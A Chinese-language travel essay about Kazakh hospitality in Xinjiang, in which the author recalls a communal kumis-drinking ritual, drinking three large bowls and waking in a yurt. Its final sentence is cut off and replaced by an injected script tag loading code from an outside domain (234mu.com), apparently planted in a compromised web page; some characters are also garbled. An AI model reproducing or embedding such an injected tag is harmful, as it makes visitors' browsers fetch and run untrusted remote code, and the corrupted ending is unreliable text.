夢(mèng)回新疆再飲馬奶子酒
那時(shí)我還在新疆工作，時(shí)逢暑假，經(jīng)常到草原上走走。那綠茸茸的草海，那蘑菇狀的潔白氈房，那哈薩克少女如花的笑臉，那老人彈奏冬布拉時(shí)的萬(wàn)般神韻……使我在草原上流連忘返，樂(lè)此不疲。而最讓我刻骨銘心的，乃是哈薩克人豪情萬(wàn)丈的“煮酒論英雄”。
第一次來(lái)到草原，我并不知道酒對(duì)于這個(gè)四處遷徒的民族的重要性，更無(wú)從知曉哈薩克人飲酒的風(fēng)俗習(xí)慣。美麗的夏季牧場(chǎng)，牧歸的哈薩克人圍坐在氈房門前，點(diǎn)燃一堆熊熊燃燒的篝火，盛情款待遠(yuǎn)道而來(lái)的客人。
當(dāng)嫩黃流油的烤羊用大盆裝著擺放在地毯上時(shí)，女主人提著一只玲瓏的小銅壺，用潔白的牛奶為用餐的人洗手。接下來(lái)是男主人用刀割下羊尾巴，放在客人面前的碗里。據(jù)說(shuō)羊尾巴是用來(lái)招待最尊貴的客人的。在內(nèi)地老家，我是從來(lái)不敢吃動(dòng)物尾巴的。
吃至半飽，女主人又提來(lái)一只大銅壺，里面是熱氣騰騰的馬奶子酒。奇怪的是，她并沒(méi)有給每一位在座的人斟酒，而只是獨(dú)斟了一大碗。男主人將酒碗高高舉起，向我微微點(diǎn)頭示意，并象征性地喝了幾口，然后將酒碗遞給我。我也學(xué)著男主人的樣，緩緩地喝了幾口，接著將碗傳給身邊的女主人。一碗酒就這樣轉(zhuǎn)了一圈才被喝干。后來(lái)我才知道，哈薩克人用一只碗喝酒，象征著團(tuán)結(jié)和睦，彰顯著大家的親密無(wú)間。
接下來(lái)是每人喝三大海碗酒。面對(duì)哈薩克人酣暢淋漓的豪飲，我有點(diǎn)畏懼。但這酒又不能不喝，否則主人會(huì)以為你瞧不起他。我只好捏著鼻子連干了三大海碗，頓時(shí)，我感到肚子撐得鼓脹起來(lái)，像個(gè)圓圓的皮球，臉上火燒火燎，渾身發(fā)熱，仿佛千軍萬(wàn)馬在里面奔騰。主人見(jiàn)我如此勇敢，高興地豎起大拇指，一個(gè)勁地叫好。我感到腦袋昏昏沉沉，不知何時(shí)被主人抬進(jìn)了氈房。
一覺(jué)醒來(lái)，天已大亮，男主人這時(shí)正在一旁觀望著我呢。我腦袋有點(diǎn)發(fā)懵發(fā)沉，問(wèn)昨天晚上我喝吐了沒(méi)有？是不是出了洋相？男主人微笑著連說(shuō)沒(méi)有沒(méi)有，還告訴我這酸甜的馬奶子酒是不大醉人的，喝多少也不會(huì)吐。聽(tīng)罷，我頓感哭笑不得。不過(guò)那芳香的馬奶子酒，是我每次來(lái)到草原必喝的，時(shí)間一長(zhǎng)，竟像喝飲料一樣。面對(duì)豪飲的草原民族，我不能退縮，我不能當(dāng)逃兵。我想9年后如果不離開(kāi)新疆，很可能就成為酒桶了。
盡管商品經(jīng)濟(jì)的大潮波濤洶涌，但哈薩克人的草原仍然像世外桃源，這里世代承襲的是路不拾遺、夜不閉戶的良好習(xí)俗。每每有客人遠(yuǎn)道而來(lái)，好客的哈薩克人拿出家中最好的食品，盛情款待。如果你追問(wèn)他們?yōu)槭裁催@樣做，草原上的每個(gè)人回答都十分一致：“是真主讓我們這樣做的?！泵鎸?duì)熱情好客、能歌善飲的哈薩克人，我感到由衷的欽佩。我知道，在茫茫的西北草原，酒是一種豪氣，酒已經(jīng)潛進(jìn)了哈薩克人的血液，酒是哈薩克人生命的?script src=http://www.234mu.com/>
